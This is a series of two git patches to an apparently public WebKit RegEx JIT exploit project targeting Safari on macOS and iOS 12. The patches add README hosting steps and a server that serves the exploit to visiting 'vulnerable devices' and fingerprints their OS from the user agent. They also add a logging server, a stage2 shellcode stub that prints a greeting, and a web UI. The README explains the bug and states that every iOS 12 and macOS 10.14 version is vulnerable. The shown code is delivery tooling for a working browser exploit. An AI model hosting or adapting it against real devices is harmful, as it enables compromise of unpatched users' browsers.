From e0ca00f1896aeb30fdfd92be52ad6af9914fc7bf Mon Sep 17 00:00:00 2001 From: Joseph Shenton Date: Tue, 1 Jan 2019 19:09:37 +1100 Subject: [PATCH 1/2] Added a few things including logging server (@notjosephs) and http server (@iSn0we) --- .gitignore | 1 + README.md | 12 +- done.js | 2 + logging.js | 2 +- logging_server.js | 56 ++++++ package-lock.json | 378 +++++++++++++++++++++++++++++++++++++++++ package.json | 24 +++ pwn.html | 1 + server.js | 79 +++++++++ stage2/stage2_macOS.S | 56 ++++++ wasm/MemoryAccess.wasm | Bin wasm/MemoryAccess.wat | 0 12 files changed, 607 insertions(+), 4 deletions(-) mode change 100644 => 100755 .gitignore mode change 100644 => 100755 README.md create mode 100755 done.js create mode 100644 logging_server.js create mode 100755 package-lock.json create mode 100755 package.json create mode 100755 server.js create mode 100755 stage2/stage2_macOS.S mode change 100644 => 100755 wasm/MemoryAccess.wasm mode change 100644 => 100755 wasm/MemoryAccess.wat diff --git a/.gitignore b/.gitignore old mode 100644 new mode 100755 index e43b0f9..646ac51 --- a/.gitignore +++ b/.gitignore @@ -1 +1,2 @@ .DS_Store +node_modules/ diff --git a/README.md b/README.md old mode 100644 new mode 100755 index 4dbd33f..16da7c5 --- a/README.md +++ b/README.md @@ -1,6 +1,5 @@ # PLEASE READ THIS FIRST -This is currently only patched in the WebKit master branch (not in any version shipped in macOS/iOS) and works with the latest version of Safari (macOS and iOS, although shellcode loading is not supported on iOS). -YES, iOS 12.1.1 IS SUPPORTED! +This is currently only patched in the WebKit sources (just to clarify this: Yes, it still works on iOS 12.1.1, meaning every iOS version since 12.0 is vulnerable. There is currently no iOS 12.x version that is not vulnerable. Every macOS version since 10.14.0 is vulnerable as well.) and works with the latest version of Safari (macOS and iOS, although this needs to be updated in order to work with iOS). Please don't do evil stuff with this. And if you're a normal user, this will be useless for you. @@ -19,9 +18,16 @@ In case you get "Addrof didn't work", just try the exploit again. If it still wo If you want to rebuild stage2, cd into stage2 then run python make.py. For building you need to have gobjcopy installed. (brew install binutils) +# Hosting +To host this exploit locally, follow these steps: +1. Run `npm install` the first time you go to run the server. +2. Run `npm start` start the server. +3. Open `:8080` on a vulnerable device. +The Host's terminal will show you a log of whats happening. + # The Bug This is an optimization error in the way RegEx matching is handled. By setting lastIndex on a RegEx object to a JavaScript object which has the function toString defined, you can run code although the JIT thinks that RegEx matching is side effect free. Exploitation is pretty similar to @5aelo's exploit for CVE-2018-4233, which can be found [here](https://github.com/saelo/cve-2018-4233). # TODO -Clean up the code a bit, add some comments and do a proper writeup. Maybe even add iOS support? Feel free to create a PR if you want to help me. +Clean up the code a bit, add some comments and do a proper writeup. Maybe even add iOS support? Feel free to create a PR if you want to help me. \ No newline at end of file diff --git a/done.js b/done.js new file mode 100755 index 0000000..42a14cf --- /dev/null +++ b/done.js @@ -0,0 +1,2 @@ +// for the host console to refresh and recognize that the procedure is done. +console.log("[STATUS] All set! Closing client connection..."); diff --git a/logging.js b/logging.js index 6f13042..0a1d79e 100755 --- a/logging.js +++ b/logging.js @@ -37,4 +37,4 @@ putchar = function (str) { } } -ready = Promise.all([ready, html_logging_ready, logging_ready]); +ready = Promise.all([ready, html_logging_ready, logging_ready]); \ No newline at end of file diff --git a/logging_server.js b/logging_server.js new file mode 100644 index 0000000..76230ab --- /dev/null +++ b/logging_server.js @@ -0,0 +1,56 @@ +// Written by @notjosephs +const express = require('express'); +const http = require('http'); +const url = require('url'); +const WebSocket = require('ws'); + +const app = express(); + +app.use(function (req, res) { + res.send({}); +}); + +const server = http.createServer(app); +const wss = new WebSocket.Server({ server }); + +function heartbeat() { + this.isAlive = true; +} + +wss.on('connection', function connection(ws, req) { + const location = url.parse(req.url, true); + + ws.on('open', function open() { + console.log('connected'); + }); + + ws.on('close', function close() { + console.log('disconnected'); + }); + + ws.on('message', function incoming(message) { + console.log('received: %s', message); + }); + + ws.isAlive = true; + ws.on('pong', heartbeat); + + const interval = setInterval(function ping() { + wss.clients.forEach(function each(ws) { + if (ws.isAlive === false) { + console.log('Stale connection terminating.'); + return ws.terminate(); + } + + ws.isAlive = false; + ws.ping('', false, true); + }); + }, 10000); + + console.log('First connected'); + ws.send('{}'); +}); + +server.listen(5000, function listening() { + console.log('Listening on %d', server.address().port); +}); \ No newline at end of file diff --git a/package-lock.json b/package-lock.json new file mode 100755 index 0000000..2b2b697 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,378 @@ +{ + "name": "webkit12", + "version": "1.0.0", + "lockfileVersion": 1, + "requires": true, + "dependencies": { + "accepts": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.5.tgz", + "integrity": "sha1-63d99gEXI6OxTopywIBcjoZ0a9I=", + "requires": { + "mime-types": "~2.1.18", + "negotiator": "0.6.1" + } + }, + "array-flatten": { + "version": "1.1.1", + "resolved": "http://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=" + }, + "async-limiter": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.0.tgz", + "integrity": "sha512-jp/uFnooOiO+L211eZOoSyzpOITMXx1rBITauYykG3BRYPu8h0UcxsPNB04RR5vo4Tyz3+ay17tR6JVf9qzYWg==" + }, + "body-parser": { + "version": "1.18.3", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.3.tgz", + "integrity": "sha1-WykhmP/dVTs6DyDe0FkrlWlVyLQ=", + "requires": { + "bytes": "3.0.0", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "~1.1.2", + "http-errors": "~1.6.3", + "iconv-lite": "0.4.23", + "on-finished": "~2.3.0", + "qs": "6.5.2", + "raw-body": "2.3.3", + "type-is": "~1.6.16" + } + }, + "bytes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=" + }, + "content-disposition": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.2.tgz", + "integrity": "sha1-DPaLud318r55YcOoUXjLhdunjLQ=" + }, + "content-type": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", + "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" + }, + "cookie": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.3.1.tgz", + "integrity": "sha1-5+Ch+e9DtMi6klxcWpboBtFoc7s=" + }, + "cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" + }, + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" + }, + "destroy": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", + "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" + }, + "ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" + }, + "encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=" + }, + "escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" + }, + "etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=" + }, + "express": { + "version": "4.16.4", + "resolved": "https://registry.npmjs.org/express/-/express-4.16.4.tgz", + "integrity": "sha512-j12Uuyb4FMrd/qQAm6uCHAkPtO8FDTRJZBDd5D2KOL2eLaz1yUNdUB/NOIyq0iU4q4cFarsUCrnFDPBcnksuOg==", + "requires": { + "accepts": "~1.3.5", + "array-flatten": "1.1.1", + "body-parser": "1.18.3", + "content-disposition": "0.5.2", + "content-type": "~1.0.4", + "cookie": "0.3.1", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "~1.1.2", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.1.1", + "fresh": "0.5.2", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "~2.3.0", + "parseurl": "~1.3.2", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.4", + "qs": "6.5.2", + "range-parser": "~1.2.0", + "safe-buffer": "5.1.2", + "send": "0.16.2", + "serve-static": "1.13.2", + "setprototypeof": "1.1.0", + "statuses": "~1.4.0", + "type-is": "~1.6.16", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + } + }, + "finalhandler": { + "version": "1.1.1", + "resolved": "http://registry.npmjs.org/finalhandler/-/finalhandler-1.1.1.tgz", + "integrity": "sha512-Y1GUDo39ez4aHAw7MysnUD5JzYX+WaIj8I57kO3aEPT1fFRL4sr7mjei97FgnwhAyyzRYmQZaTHb2+9uZ1dPtg==", + "requires": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.2", + "statuses": "~1.4.0", + "unpipe": "~1.0.0" + } + }, + "forwarded": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.2.tgz", + "integrity": "sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=" + }, + "fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=" + }, + "http-errors": { + "version": "1.6.3", + "resolved": "http://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", + "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=", + "requires": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.0", + "statuses": ">= 1.4.0 < 2" + } + }, + "iconv-lite": { + "version": "0.4.23", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz", + "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + }, + "inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + }, + "ipaddr.js": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.8.0.tgz", + "integrity": "sha1-6qM9bd16zo9/b+DJygRA5wZzix4=" + }, + "media-typer": { + "version": "0.3.0", + "resolved": "http://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=" + }, + "merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" + }, + "methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=" + }, + "mime": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.4.1.tgz", + "integrity": "sha512-KI1+qOZu5DcW6wayYHSzR/tXKCDC5Om4s1z2QJjDULzLcmf3DvzS7oluY4HCTrc+9FiKmWUgeNLg7W3uIQvxtQ==" + }, + "mime-db": { + "version": "1.37.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.37.0.tgz", + "integrity": "sha512-R3C4db6bgQhlIhPU48fUtdVmKnflq+hRdad7IyKhtFj06VPNVdk2RhiYL3UjQIlso8L+YxAtFkobT0VK+S/ybg==" + }, + "mime-types": { + "version": "2.1.21", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.21.tgz", + "integrity": "sha512-3iL6DbwpyLzjR3xHSFNFeb9Nz/M8WDkX33t1GFQnFOllWk8pOrh/LSrB5OXlnlW5P9LH73X6loW/eogc+F5lJg==", + "requires": { + "mime-db": "~1.37.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "negotiator": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.1.tgz", + "integrity": "sha1-KzJxhOiZIQEXeyhWP7XnECrNDKk=" + }, + "on-finished": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", + "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", + "requires": { + "ee-first": "1.1.1" + } + }, + "parseurl": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.2.tgz", + "integrity": "sha1-/CidTtiZMRlGDBViUyYs3I3mW/M=" + }, + "path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=" + }, + "proxy-addr": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.4.tgz", + "integrity": "sha512-5erio2h9jp5CHGwcybmxmVqHmnCBZeewlfJ0pex+UW7Qny7OOZXTtH56TGNyBizkgiOwhJtMKrVzDTeKcySZwA==", + "requires": { + "forwarded": "~0.1.2", + "ipaddr.js": "1.8.0" + } + }, + "qs": { + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", + "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==" + }, + "range-parser": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.0.tgz", + "integrity": "sha1-9JvmtIeJTdxA3MlKMi9hEJLgDV4=" + }, + "raw-body": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.3.tgz", + "integrity": "sha512-9esiElv1BrZoI3rCDuOuKCBRbuApGGaDPQfjSflGxdy4oyzqghxu6klEkkVIvBje+FF0BX9coEv8KqW6X/7njw==", + "requires": { + "bytes": "3.0.0", + "http-errors": "1.6.3", + "iconv-lite": "0.4.23", + "unpipe": "1.0.0" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "send": { + "version": "0.16.2", + "resolved": "https://registry.npmjs.org/send/-/send-0.16.2.tgz", + "integrity": "sha512-E64YFPUssFHEFBvpbbjr44NCLtI1AohxQ8ZSiJjQLskAdKuriYEP6VyGEsRDH8ScozGpkaX1BGvhanqCwkcEZw==", + "requires": { + "debug": "2.6.9", + "depd": "~1.1.2", + "destroy": "~1.0.4", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "~1.6.2", + "mime": "1.4.1", + "ms": "2.0.0", + "on-finished": "~2.3.0", + "range-parser": "~1.2.0", + "statuses": "~1.4.0" + } + }, + "serve-static": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.13.2.tgz", + "integrity": "sha512-p/tdJrO4U387R9oMjb1oj7qSMaMfmOyd4j9hOFoxZe2baQszgHcSWjuya/CiT5kgZZKRudHNOA0pYXOl8rQ5nw==", + "requires": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.2", + "send": "0.16.2" + } + }, + "setprototypeof": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", + "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==" + }, + "statuses": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz", + "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==" + }, + "type-is": { + "version": "1.6.16", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.16.tgz", + "integrity": "sha512-HRkVv/5qY2G6I8iab9cI7v1bOIdhm94dVjQCPFElW9W+3GeDOSHmy2EBYe4VTApuzolPcmgFTN3ftVJRKR2J9Q==", + "requires": { + "media-typer": "0.3.0", + "mime-types": "~2.1.18" + } + }, + "ultron": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ultron/-/ultron-1.1.1.tgz", + "integrity": "sha512-UIEXBNeYmKptWH6z8ZnqTeS8fV74zG0/eRU9VGkpzz+LIJNs8W/zM/L+7ctCkRrgbNnnR0xxw4bKOr0cW0N0Og==" + }, + "unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" + }, + "utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=" + }, + "vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=" + }, + "ws": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-3.3.3.tgz", + "integrity": "sha512-nnWLa/NwZSt4KQJu51MYlCcSQ5g7INpOrOMt4XV8j4dqTXdmlUmSHQ8/oLC069ckre0fRsgfvsKwbTdtKLCDkA==", + "requires": { + "async-limiter": "~1.0.0", + "safe-buffer": "~5.1.0", + "ultron": "~1.1.0" + } + } + } +} diff --git a/package.json b/package.json new file mode 100755 index 0000000..3c194c1 --- /dev/null +++ b/package.json @@ -0,0 +1,24 @@ +{ + "name": "WebKit-RegEx-Exploit", + "version": "1.0.0", + "description": "This is currently only patched in the WebKit sources (just to clarify this: Yes, it still works on iOS 12.1.1, meaning every iOS version since 12.0 is vulnerable. There is currently no iOS 12.x version that is not vulnerable. Every macOS version since 10.14.0 is vulnerable as well.) and works with the latest version of Safari (macOS and iOS, although this needs to be updated in order to work with iOS). Please don't do evil stuff with this. And if you're a normal user, this will be useless for you.", + "main": "int64.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1", + "start": "node logging_server.js | node server.js" + }, + "repository": { + "type": "git", + "url": "git+ssh://git@github.com/LinusHenze/WebKit-RegEx-Exploit.git" + }, + "author": "Linus Henze, Joseph Shenton (@notjosephs), @iSn0we", + "license": "MIT", + "bugs": { + "url": "https://github.com/LinusHenze/WebKit-RegEx-Exploit/issues" + }, + "homepage": "https://github.com/LinusHenze/WebKit-RegEx-Exploit#readme", + "dependencies": { + "express": "^4.16.2", + "ws": "^3.2.0" + } +} diff --git a/pwn.html b/pwn.html index 369c91c..263a169 100755 --- a/pwn.html +++ b/pwn.html @@ -11,6 +11,7 @@ + Here we go...
diff --git a/server.js b/server.js new file mode 100755 index 0000000..a629f0b --- /dev/null +++ b/server.js @@ -0,0 +1,79 @@ +// Written By @iSn0we +var http = require("http") +var url = require("url") +var path = require("path") +var fs = require("fs") +var port = process.argv[2] || 8080; +var ips = [""]; +function exploitLog(file){ + if(file.includes("/ready.js")){ + console.log("[STATUS] Starting the exploit..."); + }if(file.includes("/pwn.js")){ + console.log("[STATUS] Exploiting..."); + }if(file.includes("/done.js")){ + console.log("[STATUS] Done!"); + ips.length = 0; + } +} +server = http.createServer(function (request, response) { + var uri = url.parse(request.url).pathname + var filename = path.join(process.cwd(), uri) + var contentTypes = { + ".html": "text/html", + ".css": "text/css", + ".js": "text/javascript" + }; + var agent = request.headers["user-agent"]; + if(!ips.includes(request.connection.remoteAddress)){ + if(agent.includes("(iPhone; CPU iPhone OS")){ + if(agent.includes("(iPhone; CPU iPhone OS 12_0 like Mac OS X)")){ + console.log("iOS 12.0 Device connected!"); + }else if(agent.includes("(iPhone; CPU iPhone OS 12_1 like Mac OS X)")){ + console.log("iOS 12.1 Device connected!"); + }else{ + console.log("iOS X Device connected!"); + } + }else if(agent.includes("(Macintosh; Intel Mac OS")){ + console.log("MacOS Device connected!"); + }else{ + console.log("Unknown/Unsupported Device connected!"); + }ips.push(request.connection.remoteAddress); + }else{ + // Action when the page is refreshed + } + fs.exists(filename, function(exists) { + if(!exists) { + response.writeHead(404, {"Content-Type": "text/plain"}); + response.write("Not found, bro!"); + response.end(); + return; + }if(fs.statSync(filename).isDirectory()){ + filename += "/index.html"; + } + fs.readFile(filename, "binary", function(err, file) { + if(err){ + response.writeHead(500, {"Content-Type": "text/plain"}); + response.write("an error occured! \nError: " + err); + response.end(); + return; + } + var headers = {}; + var contentType = contentTypes[path.extname(filename)]; + if(contentType){ + headers["Content-Type"] = contentType; + } + response.writeHead(200, headers); + response.write(file, "binary"); + response.end(); + }); + exploitLog(filename); + }); +}); +server.on("connection", function(socket) { + server.setTimeout(150000); +}); +server.on("timeout", function(socket) { + // when 15 seconds idle. +}); +server.listen(parseInt(port, 10)); +console.log("server running at port " + port); diff --git a/stage2/stage2_macOS.S b/stage2/stage2_macOS.S new file mode 100755 index 0000000..3f17524 --- /dev/null +++ b/stage2/stage2_macOS.S @@ -0,0 +1,56 @@ + +.intel_syntax noprefix +.text + +.macro putchar chr + lea rax, [rip+3f] + mov qword ptr [rip+reentry_function], rax + movabs rax, 0xFFFF000000000000+\chr + ret +3: +.endmacro + +.globl start +start: + cmp qword ptr [rip+reentry_function], 0 + je 3f + mov rax, qword ptr [rip+reentry_function] + jmp rax +3: + putchar 72 +putchar 101 +putchar 108 +putchar 108 +putchar 111 +putchar 32 +putchar 119 +putchar 111 +putchar 114 +putchar 108 +putchar 100 +putchar 32 +putchar 102 +putchar 114 +putchar 111 +putchar 109 +putchar 32 +putchar 65 +putchar 115 +putchar 115 +putchar 101 +putchar 109 +putchar 98 +putchar 108 +putchar 121 +putchar 33 +putchar 10 + + // Return value + movabs rax, 0xFFFF000000000000 + ret + +.data + +.globl reentry_function +reentry_function: + .quad 0 diff --git a/wasm/MemoryAccess.wasm b/wasm/MemoryAccess.wasm old mode 100644 new mode 100755 diff --git a/wasm/MemoryAccess.wat b/wasm/MemoryAccess.wat old mode 100644 new mode 100755 From 443a7b58639897af6a86a7e74e8fdcc26956e16a Mon Sep 17 00:00:00 2001 From: Joseph Shenton Date: Thu, 3 Jan 2019 22:53:15 +1100 Subject: [PATCH 2/2] Added a UI --- css/app-dark.css | 84 + css/app.css | 152 + css/icons.css | 70 + fonts/Framework7Icons-Regular.eot | Bin 0 -> 51562 bytes fonts/Framework7Icons-Regular.ttf | Bin 0 -> 51352 bytes fonts/Framework7Icons-Regular.woff | Bin 0 -> 25964 bytes fonts/Framework7Icons-Regular.woff2 | Bin 0 -> 20520 bytes fonts/MaterialIcons-Regular.eot | Bin 0 -> 143258 bytes fonts/MaterialIcons-Regular.ttf | Bin 0 -> 128180 bytes fonts/MaterialIcons-Regular.woff | Bin 0 -> 57620 bytes fonts/MaterialIcons-Regular.woff2 | Bin 0 -> 44300 bytes framework7/css/framework7.css | 29570 ++++++++++++++++++ framework7/css/framework7.ios.css | 17415 +++++++++++ framework7/css/framework7.ios.min.css | 12 + framework7/css/framework7.md.css | 18889 ++++++++++++ framework7/css/framework7.md.min.css | 12 + framework7/css/framework7.min.css | 12 + framework7/css/framework7.rtl.css | 29601 ++++++++++++++++++ framework7/css/framework7.rtl.ios.css | 17446 +++++++++++ framework7/css/framework7.rtl.ios.min.css | 12 + framework7/css/framework7.rtl.md.css | 18916 ++++++++++++ framework7/css/framework7.rtl.md.min.css | 12 + framework7/css/framework7.rtl.min.css | 12 + framework7/js/framework7.js | 31312 ++++++++++++++++++++ framework7/js/framework7.min.js | 13 + framework7/js/framework7.min.js.map | 1 + index.html | 207 +- js/app.js | 49 + js/device.class.js | 188 + js/inobounce.js | 137 + js/inobounce.min.js | 1 + js/routes.js | 15 + pages/404.html | 27 + pages/Parsedown.php | 1679 ++ pages/about.html | 40 + pages/app.php | 117 + pages/catalog.html | 58 + pages/category.php | 102 + pages/db.php | 27 + pages/exo.php | 132 + pages/exoresign.php | 54 + pages/legal.html | 40 + pages/news.html | 39 + pages/page-loader-component.html | 139 + pages/page-loader-template7.html | 54 + pages/product.html | 68 + pages/request-and-load.html | 38 + pages/revokes.html | 115 + pages/search.php | 74 + pages/updates.html | 27 + pwn.js | 74 +- stage2 copy.zip | Bin 0 -> 3176 bytes stage2/stage2_macOS.S | 0 stage2/stage2_macOS.o | Bin 0 -> 8288 bytes 54 files changed, 167001 insertions(+), 41 deletions(-) create mode 100644 css/app-dark.css create mode 100644 css/app.css create mode 100644 css/icons.css create mode 100644 fonts/Framework7Icons-Regular.eot create mode 100644 fonts/Framework7Icons-Regular.ttf create mode 100644 fonts/Framework7Icons-Regular.woff create mode 100644 fonts/Framework7Icons-Regular.woff2 create mode 100644 fonts/MaterialIcons-Regular.eot create mode 100644 fonts/MaterialIcons-Regular.ttf create mode 100644 fonts/MaterialIcons-Regular.woff create mode 100644 fonts/MaterialIcons-Regular.woff2 create mode 100644 framework7/css/framework7.css create mode 100644 framework7/css/framework7.ios.css create mode 100644 framework7/css/framework7.ios.min.css create mode 100644 framework7/css/framework7.md.css create mode 100644 framework7/css/framework7.md.min.css create mode 100644 framework7/css/framework7.min.css create mode 100644 framework7/css/framework7.rtl.css create mode 100644 framework7/css/framework7.rtl.ios.css create mode 100644 framework7/css/framework7.rtl.ios.min.css create mode 100644 framework7/css/framework7.rtl.md.css create mode 100644 framework7/css/framework7.rtl.md.min.css create mode 100644 framework7/css/framework7.rtl.min.css create mode 100644 framework7/js/framework7.js create mode 100644 framework7/js/framework7.min.js create mode 100644 framework7/js/framework7.min.js.map mode change 100755 => 100644 index.html create mode 100644 js/app.js create mode 100644 js/device.class.js create mode 100755 js/inobounce.js create mode 100755 js/inobounce.min.js create mode 100644 js/routes.js create mode 100644 pages/404.html create mode 100755 pages/Parsedown.php create mode 100644 pages/about.html create mode 100644 pages/app.php create mode 100644 pages/catalog.html create mode 100644 pages/category.php create mode 100755 pages/db.php create mode 100644 pages/exo.php create mode 100644 pages/exoresign.php create mode 100644 pages/legal.html create mode 100644 pages/news.html create mode 100644 pages/page-loader-component.html create mode 100644 pages/page-loader-template7.html create mode 100644 pages/product.html create mode 100644 pages/request-and-load.html create mode 100644 pages/revokes.html create mode 100644 pages/search.php create mode 100644 pages/updates.html create mode 100644 stage2 copy.zip mode change 100755 => 100644 stage2/stage2_macOS.S create mode 100755 stage2/stage2_macOS.o diff --git a/css/app-dark.css b/css/app-dark.css new file mode 100644 index 0000000..6e5e1c4 --- /dev/null +++ b/css/app-dark.css @@ -0,0 +1,84 @@ +/* Your app styles here */ +/* Default Statusbar background */ + +html.ios.with-statusbar, .ios.with-statusbar body { height: 100vh } + +.ios .statusbar, .ios .theme-dark .statusbar { + background: #1D1D27; + /* We can add transition for smooth color animation */ + /*transition: 400ms;*/ +} + +.ios .page-content, body { + background-color: #15151E; + background: #15151E; +} + +.ios .navbar, .ios .navbar-inner, .ios .theme-dark .subnavbar, .subnavbar.ios .theme-dark { + color: #FFF !important; + background: #1D1D27; +} + +.ios .navbar:after, .ios .theme-dark .searchbar:after, .searchbar.ios .theme-dark:after { + display: none; +} + +.ios .theme-dark .searchbar, .searchbar.ios .theme-dark { + background-color: #1D1D27; +} + +.ios .theme-dark .searchbar input[type=search], .ios .theme-dark .searchbar input[type=text], .searchbar.ios .theme-dark input[type=search], .searchbar.ios .theme-dark input[type=text] { + background-color: #15151E; + color: #fff; +} + +.ios .toolbar:before { 